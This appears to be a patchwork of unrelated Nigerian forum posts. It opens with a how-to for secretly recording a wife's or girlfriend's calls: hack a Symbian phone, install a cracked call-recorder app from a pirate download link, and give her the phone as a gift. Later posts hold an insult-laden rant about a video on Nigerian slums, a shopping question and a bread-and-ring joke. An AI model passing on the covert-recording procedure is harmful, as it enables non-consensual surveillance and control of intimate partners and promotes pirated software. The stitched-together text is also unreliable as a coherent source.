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There’s no better way to catch a
cheating wife/girlfriend than using mobile phone call recording software. It’s such a powerful way to know exactly who som1 is talking to and also hear all their conversation.
This will save you the stress of hiding behind the door to listen to what they are saying on phone.

PROCEDURE:
1) Buy atleast a symbian s60v3 phone and hack it.

2) Download and install TOTAL RECALL call recorder from the link below.
http://www.plunder.com/KillerMobiel-TotalRecall-v5-2-S60v3-S60v5-S-3-Anna-Belle-SymbianOS9-x-UnSigned-CracKeD-By-cGiPDA-download-57a1186e53.htm

3) Finally, present the phone to your wife/girlfriend as a gift.
Note: every call she makes with the phone would be recorded secretely and you can listen to the conversation when you open the application... Its password protected.

Akwa ibom-we eat roads

If Dana was the best airline, then Nigeria is the best country in the world...

Some pple said 4 students, some said 3 students...
Some said they stole phones and laptops, some said they were cultist... Which version are we to take?... Maybe king james version would be better.

KINGwax: Fuckin hypocrites! That's all you are. 'Rick ross said the truth, MI said the truth' abi? You're all foolish to undstnd dt unless u love yourself u can't make it. Do u knw the US ban the US version of the video? Does it means US are tryin to hide d truth, no?
The international world outside there don't give a fucck whether what is portrayed in the video is one sided or not, your image is tarnished more dn it already did. No wonder aljazeera don't give a fucck abt your pride or image!
Do u think the numbers of Nigerians dt live in the slums are more dn the ones in india, china or hiati?
There's no reason why countries like hiati, somalia etc won't be jumped to publish u as the number one poorest country in the world!
You fools must think those who live abroad are better off. What do u knw?
These people are jes satisfied and they don't kill themselves to live in big houses. Most houses are timber laced with POP walls. But most nigerians will snap their fingers backwards over their wretched heads and shout God forbid or their tufakia! If a nigerian didn't own a car, he aint okay. While over there no one gives a fucck.
Una dey kill yourself and una go die finish!
Better change your orientation. Every fool will rush to school jes to get salaried. Those who wanna start business thinks of 100% profit within a month! Stupid set of myopic fools you are!

Bros no vex na, We no go do am again... I know say na ur popsy dey follow thief our money.

Blackteeth: This is not really about a video portraying the truth about the situation of Nigeria. But the fact is that the video should have portrayed both the positive and negative together so that it wouldnt look as if Nigeria is 100% slums. Some foreigners may think Nigeria is 100% slums just watching that video. And thats not really nice. Things like this is what fires up racism and portrayal of the black man as sub-humans.

And who told u that nigeria is not 100% slums?

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pls where can i buy d laptop in Port harcourt?

Mr Rector: Ok! The sms just got to ur phone now. Its an old joke, its even in nollywood

Yes o... Na now d tin enta my fone. How u take knw sef?

A girl had really talked abt her
boyfriend to her friends.She told dem how rich,caring,generous & handsome her guy is & dat he will be coming to visit her d nxt evening. Expectations from everyone were high.The guy actually came d nxt evenin as he promised but wit a loaf of AGEGE BREAD as a gift to his girl.The girl was very annoyed & disappointed.She threw d bread at d guy & insulted him to d fullest in d presnce of everyone.Embittered,d guy pick d AGEGE BREAD,sliced it into two & behold,a CAR KEY & ENGAGEMENT RING fell out of d bread.Now my questions,
(1) if u were d girl wat wil u do?
(2) if u were d boy wil u 4give d girl?[i][/i]